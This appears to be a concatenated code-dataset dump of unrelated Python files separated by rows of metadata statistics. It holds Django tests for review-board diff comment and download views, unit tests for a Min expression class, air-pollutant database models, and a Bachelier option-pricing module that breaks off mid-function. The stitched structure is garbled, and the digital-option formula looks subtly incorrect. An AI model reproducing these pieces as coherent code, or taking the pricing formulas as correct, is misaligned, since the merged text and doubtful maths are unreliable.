self.assertEqual(len(response.context['comment_entries']), 1)
self.assertEqual(response.context['comment_entries'][0]['comment'],
comment)
def test_get_with_no_valid_comment_ids(self):
"""Testing comment_diff_fragments with no valid comment IDs"""
review_request = self.create_review_request(create_repository=True,
publish=True)
response = self.client.get(
'/r/%d/fragments/diff-comments/100,200,300/'
% review_request.pk)
self.assertEqual(response.status_code, 404)
def test_get_with_comment_ids_from_other_review_request(self):
"""Testing comment_diff_fragments with comment ID from another review
request
"""
user = User.objects.create(username='reviewer')
# Create the first review request and review.
review_request1 = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request1)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request1, user=user)
comment1 = self.create_diff_comment(review, filediff)
review.publish()
# Create the second review request and review.
review_request2 = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request2)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request2, user=user)
comment2 = self.create_diff_comment(review, filediff)
review.publish()
response = self.client.get(
'/r/%d/fragments/diff-comments/%d,%d/'
% (review_request1.pk, comment1.pk, comment2.pk))
self.assertEqual(response.status_code, 200)
self.assertEqual(len(response.context['comment_entries']), 1)
self.assertEqual(response.context['comment_entries'][0]['comment'],
comment1)
def test_get_with_comment_ids_from_draft_review_owner(self):
"""Testing comment_diff_fragments with comment ID from draft review,
accessed by the review's owner
"""
user = User.objects.create_user(username='reviewer',
password='reviewer')
review_request1 = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request1)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request1, user=user)
comment = self.create_diff_comment(review, filediff)
self.assertTrue(self.client.login(username='reviewer',
password='reviewer'))
response = self.client.get(
'/r/%d/fragments/diff-comments/%d/'
% (review_request1.pk, comment.pk))
self.assertEqual(response.status_code, 200)
self.assertEqual(len(response.context['comment_entries']), 1)
self.assertEqual(response.context['comment_entries'][0]['comment'],
comment)
def test_get_with_comment_ids_from_draft_review_not_owner(self):
"""Testing comment_diff_fragments with comment ID from draft review,
accessed by someone other than the review's owner
"""
user = User.objects.create(username='reviewer')
review_request1 = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request1)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request1, user=user)
comment = self.create_diff_comment(review, filediff)
response = self.client.get(
'/r/%d/fragments/diff-comments/%d/'
% (review_request1.pk, comment.pk))
self.assertEqual(response.status_code, 404)
class DownloadFileTests(TestCase):
"""Tests for the download_*_file views."""
fixtures = ['test_users', 'test_scmtools']
@classmethod
def setUpClass(cls):
super(DownloadFileTests, cls).setUpClass()
register_hosting_service(TestService.name, TestService)
@classmethod
def tearDownClass(cls):
super(DownloadFileTests, cls).tearDownClass()
unregister_hosting_service(TestService.name)
def setUp(self):
super(DownloadFileTests, self).setUp()
self.account = HostingServiceAccount.objects.create(
service_name=TestService.name,
hosting_url='http://example.com/',
username='foo')
self.repository = self.create_repository(hosting_account=self.account)
self.review_request = self.create_review_request(
repository=self.repository, publish=True)
self.diffset = self.create_diffset(review_request=self.review_request)
self.filediff = self.create_filediff(self.diffset,
source_file='/invalid-path',
dest_file='/invalid-path')
def testing_download_orig_file_404(self):
"""Testing download_orig_file when the file cannot be found upstream"""
rsp = self.client.get(
local_site_reverse('download-orig-file', kwargs={
'review_request_id': self.review_request.display_id,
'revision': self.diffset.revision,
'filediff_id': self.filediff.pk,
}))
self.assertEquals(rsp.status_code, 404)
def testing_download_modified_file_404(self):
"""Testing download_modified_file when the file cannot be found
upstream
"""
rsp = self.client.get(
local_site_reverse('download-modified-file', kwargs={
'review_request_id': self.review_request.display_id,
'revision': self.diffset.revision,
'filediff_id': self.filediff.pk,
}))
self.assertEquals(rsp.status_code, 404)
class UserInfoboxTests(TestCase):
def test_unicode(self):
"""Testing user_infobox with a user with non-ascii characters"""
user = User.objects.create_user('test', 'test@example.com')
user.first_name = 'Test\u21b9'
user.last_name = 'User\u2729'
user.save()
self.client.get(local_site_reverse('user-infobox', args=['test']))
| 40.792112
| 79
| 0.601344
| 6,520
| 61,025
| 5.394939
| 0.057975
| 0.118635
| 0.036389
| 0.041194
| 0.862033
| 0.841535
| 0.832893
| 0.81032
| 0.793376
| 0.775267
| 0
| 0.017596
| 0.306186
| 61,025
| 1,495
| 80
| 40.819398
| 0.813179
| 0.105072
| 0
| 0.774133
| 0
| 0.001874
| 0.104624
| 0.013894
| 0
| 0
| 0
| 0
| 0.125586
| 1
| 0.05717
| false
| 0.021556
| 0.022493
| 0
| 0.088097
| 0.003749
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 1
| 0
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|
0
| 7
|
20d678e47a33b8d683c196926a71e7d69b000001
| 16,728
|
py
|
Python
|
test/testsArithmeticExpressions/testMin.py
|
mouton5000/DiscreteEventApplicationEditor
|
4a4272fd9b0a7f3f228fee1e9e7b351e4a21cd33
|
[
"MIT"
] | null | null | null |
test/testsArithmeticExpressions/testMin.py
|
mouton5000/DiscreteEventApplicationEditor
|
4a4272fd9b0a7f3f228fee1e9e7b351e4a21cd33
|
[
"MIT"
] | null | null | null |
test/testsArithmeticExpressions/testMin.py
|
mouton5000/DiscreteEventApplicationEditor
|
4a4272fd9b0a7f3f228fee1e9e7b351e4a21cd33
|
[
"MIT"
] | null | null | null |
__author__ = 'mouton'
from triggerExpressions import Evaluation
from unittest import TestCase
from math import pi, sqrt
from arithmeticExpressions import ALitteral, Min, UndefinedLitteral, SelfLitteral
from database import Variable
class TestMin(TestCase):
@classmethod
def setUpClass(cls):
import grammar.grammars
grammar.grammars.compileGrammars()
def setUp(self):
self.eval1 = Evaluation()
self.eval2 = Evaluation()
self.eval2[Variable('X')] = 1
self.eval2[Variable('T')] = 'abc'
self.eval2[Variable('Z')] = 12.0
def test_integers_min_with_empty_evaluation(self):
a1 = ALitteral(10)
a2 = ALitteral(20)
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1), 10)
def test_integers_min_with_non_empty_evaluation(self):
a1 = ALitteral(10)
a2 = ALitteral(20)
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 10)
def test_strings_min_with_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = ALitteral('def')
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1), 'abc')
def test_strings_min_with_non_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = ALitteral('def')
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 'abc')
def test_floats_min_with_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1), sqrt(2))
def test_floats_min_with_non_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), sqrt(2))
def test_integer_string_min_with_empty_evaluation(self):
a1 = ALitteral(10)
a2 = ALitteral('def')
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1), 10)
def test_integer_string_min_with_non_empty_evaluation(self):
a1 = ALitteral(10)
a2 = ALitteral('def')
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 10)
def test_string_integer_min_with_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = ALitteral(20)
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1), 20)
def test_string_integer_min_with_non_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = ALitteral(20)
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 20)
def test_integer_float_min_with_empty_evaluation(self):
a1 = ALitteral(10)
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1), sqrt(2))
def test_integer_float_min_with_non_empty_evaluation(self):
a1 = ALitteral(10)
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), sqrt(2))
def test_float_integer_min_with_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = ALitteral(20)
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1), pi)
def test_float_integer_min_with_non_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = ALitteral(20)
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), pi)
def test_string_float_min_with_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1), sqrt(2))
def test_string_float_min_with_non_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), sqrt(2))
def test_float_string_min_with_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = ALitteral('def')
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1), pi)
def test_float_string_min_with_non_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = ALitteral('def')
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), pi)
def test_integer_undefined_min_with_empty_evaluation(self):
a1 = ALitteral(10)
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval1)
def test_integer_undefined_min_with_non_empty_evaluation(self):
a1 = ALitteral(10)
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2)
def test_undefined_integer_min_with_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = ALitteral(20)
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval1)
def test_undefined_integer_min_with_non_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = ALitteral(20)
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2)
def test_string_undefined_min_with_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval1)
def test_string_undefined_min_with_non_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2)
def test_undefined_string_min_with_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = ALitteral('def')
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval1)
def test_undefined_string_min_with_non_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = ALitteral('def')
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2)
def test_float_undefined_min_with_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval1)
def test_float_undefined_min_with_non_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2)
def test_undefined_float_min_with_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval1)
def test_undefined_float_min_with_non_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2)
def test_undefined_undefined_min_with_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval1)
def test_undefined_undefined_min_with_non_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2)
def test_integer_evaluated_variable_min(self):
a1 = ALitteral(10)
a2 = ALitteral(Variable('X'))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 1)
def test_evaluated_variable_integer_min(self):
a1 = ALitteral(Variable('X'))
a2 = ALitteral(20)
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 1)
def test_string_evaluated_variable_min(self):
a1 = ALitteral('abc')
a2 = ALitteral(Variable('X'))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 1)
def test_evaluated_variable_string_min(self):
a1 = ALitteral(Variable('X'))
a2 = ALitteral('def')
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 1)
def test_float_evaluated_variable_min(self):
a1 = ALitteral(pi)
a2 = ALitteral(Variable('X'))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 1)
def test_evaluated_variable_float_min(self):
a1 = ALitteral(Variable('X'))
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 1)
def test_evaluated_variable_evaluated_variable_min(self):
a1 = ALitteral(Variable('X'))
a2 = ALitteral(Variable('X'))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2), 1)
def test_evaluated_variable_undefined_subtraction(self):
a1 = ALitteral(Variable('X'))
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2), 0
def test_undefined_evaluated_variable_subtraction(self):
a1 = UndefinedLitteral()
a2 = ALitteral(Variable('X'))
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2), 0
def test_integer_unevaluated_variable_min(self):
a1 = ALitteral(10)
a2 = ALitteral(Variable('Y'))
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2)
def test_unevaluated_variable_integer_min(self):
a1 = ALitteral(Variable('Y'))
a2 = ALitteral(20)
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2)
def test_string_unevaluated_variable_min(self):
a1 = ALitteral('abc')
a2 = ALitteral(Variable('Y'))
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2)
def test_unevaluated_variable_string_min(self):
a1 = ALitteral(Variable('Y'))
a2 = ALitteral('def')
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2)
def test_float_unevaluated_variable_min(self):
a1 = ALitteral(pi)
a2 = ALitteral(Variable('Y'))
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2)
def test_unevaluated_variable_float_min(self):
a1 = ALitteral(Variable('Y'))
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2)
def test_unevaluated_variable_unevaluated_variable_min(self):
a1 = ALitteral(Variable('Y'))
a2 = ALitteral(Variable('Y'))
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2)
def test_unevaluated_variable_evaluated_variable_min(self):
a1 = ALitteral(Variable('Y'))
a2 = ALitteral(Variable('X'))
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2)
def test_evaluated_variable_unevaluated_variable_min(self):
a1 = ALitteral(Variable('X'))
a2 = ALitteral(Variable('Y'))
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2)
def test_unevaluated_variable_undefined_subtraction(self):
a1 = ALitteral(Variable('Y'))
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2), 0
def test_undefined_unevaluated_variable_subtraction(self):
a1 = UndefinedLitteral()
a2 = ALitteral(Variable('Y'))
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2), 0
def test_integer_self_litteral_min_with_empty_evaluation(self):
a1 = ALitteral(10)
a2 = SelfLitteral()
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1, 1), 1)
def test_integer_self_litteral_min_with_non_empty_evaluation(self):
a1 = ALitteral(10)
a2 = SelfLitteral()
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2, 1), 1)
def test_self_litteral_integer_min_with_empty_evaluation(self):
a1 = SelfLitteral()
a2 = ALitteral(20)
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1, 1), 1)
def test_self_litteral_integer_min_with_non_empty_evaluation(self):
a1 = SelfLitteral()
a2 = ALitteral(20)
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2, 1), 1)
def test_string_self_litteral_min_with_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = SelfLitteral()
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1, 1), 1)
def test_string_self_litteral_min_with_non_empty_evaluation(self):
a1 = ALitteral('abc')
a2 = SelfLitteral()
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2, 1), 1)
def test_self_litteral_string_min_with_empty_evaluation(self):
a1 = SelfLitteral()
a2 = ALitteral('def')
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1, 1), 1)
def test_self_litteral_string_min_with_non_empty_evaluation(self):
a1 = SelfLitteral()
a2 = ALitteral('def')
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2, 1), 1)
def test_float_self_litteral_min_with_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = SelfLitteral()
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1, 1), 1)
def test_float_self_litteral_min_with_non_empty_evaluation(self):
a1 = ALitteral(pi)
a2 = SelfLitteral()
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2, 1), 1)
def test_self_litteral_float_min_with_empty_evaluation(self):
a1 = SelfLitteral()
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1, 1), 1)
def test_self_litteral_float_min_with_non_empty_evaluation(self):
a1 = SelfLitteral()
a2 = ALitteral(sqrt(2))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2, 1), 1)
def test_self_litteral_self_litteral_min_with_empty_evaluation(self):
a1 = SelfLitteral()
a2 = SelfLitteral()
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval1, 1), 1)
def test_self_litteral_self_litteral_min_with_non_empty_evaluation(self):
a1 = SelfLitteral()
a2 = SelfLitteral()
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2, 1), 1)
def test_self_litteral_undefined_min_with_empty_evaluation(self):
a1 = SelfLitteral()
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval1, 1)
def test_self_litteral_undefined_min_with_non_empty_evaluation(self):
a1 = SelfLitteral()
a2 = UndefinedLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2, 1)
def test_undefined_self_litteral_min_with_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = SelfLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval1, 1)
def test_undefined_self_litteral_min_with_non_empty_evaluation(self):
a1 = UndefinedLitteral()
a2 = SelfLitteral()
expr = Min(a1, a2)
with self.assertRaises(TypeError):
expr.value(self.eval2, 1)
def test_self_litteral_evaluated_variable_min(self):
a1 = ALitteral(Variable('X'))
a2 = SelfLitteral()
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2, 2), 1)
def test_evaluated_variable_self_litteral_min(self):
a1 = SelfLitteral()
a2 = ALitteral(Variable('X'))
expr = Min(a1, a2)
self.assertEqual(expr.value(self.eval2, 2), 1)
def test_self_litteral_unevaluated_variable_min(self):
a1 = SelfLitteral()
a2 = ALitteral(Variable('Y'))
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2, 1)
def test_unevaluated_variable_self_litteral_min(self):
a1 = ALitteral(Variable('Y'))
a2 = SelfLitteral()
expr = Min(a1, a2)
with self.assertRaises(ValueError):
expr.value(self.eval2, 1)
| 33.456
| 81
| 0.629902
| 2,044
| 16,728
| 4.936399
| 0.0318
| 0.051338
| 0.066006
| 0.080674
| 0.95332
| 0.941923
| 0.922795
| 0.897621
| 0.849257
| 0.79554
| 0
| 0.040892
| 0.260282
| 16,728
| 499
| 82
| 33.523046
| 0.774527
| 0
| 0
| 0.77381
| 0
| 0
| 0.007054
| 0
| 0
| 0
| 0
| 0
| 0.17619
| 1
| 0.180952
| false
| 0
| 0.014286
| 0
| 0.197619
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
455966bb2a729bc0c659a9da8ace2c2df1bdd2e1
| 2,037
|
py
|
Python
|
website/home/models.py
|
divyam3897/VayuAnukulani
|
d1b881ac6268c24761dc0ef6db296d7e5ee1a22e
|
[
"MIT"
] | 1
|
2019-04-05T18:14:01.000Z
|
2019-04-05T18:14:01.000Z
|
website/home/models.py
|
m-santh/VayuAnukulani
|
d1b881ac6268c24761dc0ef6db296d7e5ee1a22e
|
[
"MIT"
] | 18
|
2020-01-28T22:36:26.000Z
|
2020-07-28T17:01:35.000Z
|
website/home/models.py
|
m-santh/VayuAnukulani
|
d1b881ac6268c24761dc0ef6db296d7e5ee1a22e
|
[
"MIT"
] | 3
|
2019-04-01T10:33:20.000Z
|
2020-10-23T23:29:09.000Z
|
from django.db import models
from django.utils import timezone
class pollutants(models.Model):
date = models.DateTimeField(auto_now_add=True)
pm25 = models.FloatField(null=True, blank=True)
pm10 = models.FloatField(null=True, blank=True)
no2 = models.FloatField(null=True, blank=True)
so2 = models.FloatField(null=True, blank=True)
co = models.FloatField(null=True, blank=True)
temp = models.FloatField(null=True, blank=True)
hum = models.FloatField(null=True, blank=True)
location = models.CharField(max_length=100)
def __str__(self):
return str(self.date)
class concPollutant(models.Model):
date = models.DateTimeField(auto_now_add=True)
pm25 = models.FloatField(null=True, blank=True)
pm10 = models.FloatField(null=True, blank=True)
no2 = models.FloatField(null=True, blank=True)
so2 = models.FloatField(null=True, blank=True)
co = models.FloatField(null=True, blank=True)
temp = models.FloatField(null=True, blank=True)
o3 = models.FloatField(null=True, blank=True)
hour = models.IntegerField(null=True, blank=True)
month = models.IntegerField(null=True, blank=True)
location = models.CharField(max_length=100)
def __str__(self):
return str(self.date)
class classPollutant(models.Model):
date = models.DateTimeField()
pm25 = models.IntegerField(null=True, blank=True)
so2 = models.IntegerField(null=True, blank=True)
no2 = models.IntegerField(null=True, blank=True)
pm10 = models.IntegerField(null=True, blank=True)
location = models.CharField(max_length=100)
def __str__(self):
return str(self.date)
class regrPollutant(models.Model):
date = models.DateTimeField()
pm25 = models.IntegerField(null=True, blank=True)
so2 = models.IntegerField(null=True, blank=True)
no2 = models.IntegerField(null=True, blank=True)
pm10 = models.IntegerField(null=True, blank=True)
location = models.CharField(max_length=100)
def __str__(self):
return str(self.date)
| 37.036364
| 54
| 0.713304
| 266
| 2,037
| 5.37218
| 0.157895
| 0.13436
| 0.218335
| 0.285514
| 0.914626
| 0.914626
| 0.855843
| 0.855843
| 0.855843
| 0.855843
| 0
| 0.021752
| 0.164948
| 2,037
| 54
| 55
| 37.722222
| 0.818342
| 0
| 0
| 0.782609
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.086957
| false
| 0
| 0.043478
| 0.086957
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 10
|
4559dcf0eef681deca7849bd9cb3131b00838397
| 10,008
|
py
|
Python
|
putcall/formulas/interest_rate_options/bachelier.py
|
pbrisk/optionpricing
|
a5984b52cb7bae33cfd48490439acea4844af0f9
|
[
"Apache-2.0"
] | null | null | null |
putcall/formulas/interest_rate_options/bachelier.py
|
pbrisk/optionpricing
|
a5984b52cb7bae33cfd48490439acea4844af0f9
|
[
"Apache-2.0"
] | null | null | null |
putcall/formulas/interest_rate_options/bachelier.py
|
pbrisk/optionpricing
|
a5984b52cb7bae33cfd48490439acea4844af0f9
|
[
"Apache-2.0"
] | 2
|
2017-12-08T10:18:08.000Z
|
2018-10-20T15:59:33.000Z
|
# -*- coding: utf-8 -*-
# putcall
# -------
# Collection of classical option pricing formulas.
#
# Author: sonntagsgesicht, based on a fork of Deutsche Postbank [pbrisk]
# Version: 0.2, copyright Wednesday, 18 September 2019
# Website: https://github.com/sonntagsgesicht/putcall
# License: Apache License 2.0 (see LICENSE file)
from math import exp, sqrt, pi
from mathtoolspy import cdf_abramowitz_stegun as normal_cdf
from mathtoolspy import density_normal_dist as normal_density
from ..option_payoffs import option_payoff, digital_option_payoff, straddle_payoff
def _bachelier_param(forward_value, strike_value, implied_vol_value, time_value):
sigma = implied_vol_value * sqrt(time_value)
fms = forward_value - strike_value
d = fms / sigma if sigma > 0.0 else 0.0
return sigma, fms, d
def bachelier(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
Bachelier formula (Black formula for normal underlying distribution).
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return option_payoff(forward_value, strike_value, is_call_bool)
# call
# call_value = fms * normal_cdf(d) + exp(-d ** 2 / 2) * sigma / sqrt(2 * pi) # intern version
call_value = fms * normal_cdf(d) + sigma * normal_density(d)
put_value = -fms * normal_cdf(-d) + sigma * normal_density(d)
return call_value if is_call_bool else call_value - fms # put
def bachelier_delta(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
delta sensitivity for Bachelier formula.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return 1.0 if fms > 0.0 else 0.0
return normal_cdf(d) if is_call_bool else -normal_cdf(-d)
def bachelier_gamma(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
gamma sensitivity for Bachelier formula.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return 0.0
return normal_density(d) / sigma
def bachelier_vega(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
vega sensitivity for Bachelier formula.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return 0.0
return sqrt(time_value) * normal_density(d)
def bachelier_digital(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
Bachelier formula for digital option (Black formula for normal underlying distribution).
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return digital_option_payoff(forward_value, strike_value, is_call_bool)
# call
call_price = -1 * normal_cdf(d) + exp(-d ** 2 / 2) * sigma / sqrt(2 * pi)
return call_price if is_call_bool else call_price + 1 # put
def bachelier_digital_delta(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
delta sensitivity for Bachelier formula for digital option.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return 0.0
# call
call_value = normal_density(d) / sigma
return call_value if is_call_bool else -call_value # put
def bachelier_digital_gamma(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
gamma sensitivity for Bachelier formula for digital option.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return 0.0
return d * normal_density(d) / (implied_vol_value * implied_vol_value * time_value)
def bachelier_digital_vega(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
vega sensitivity for Bachelier formula for digital option.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
return 0.0
# call
call_value = -d * normal_density(d) / implied_vol_value
return call_value if is_call_bool else -call_value # put
def bachelier_straddle(forward_value, strike_value, implied_vol_value, time_value, is_call_bool):
"""
Bachelier formula for straddle option on log-normal underlying distribution.
:param float forward_value: forward price of underlying at exercise date
:param float strike_value: strike price
:param float implied_vol_value: volatility of underlying price
:param float time_value: year fraction until exercise date
:param boolean is_call_bool: call -> True, put -> False
:return: float
"""
sigma, fms, d = _bachelier_param(forward_value, strike_value, implied_vol_value, time_value)
if sigma == 0.0:
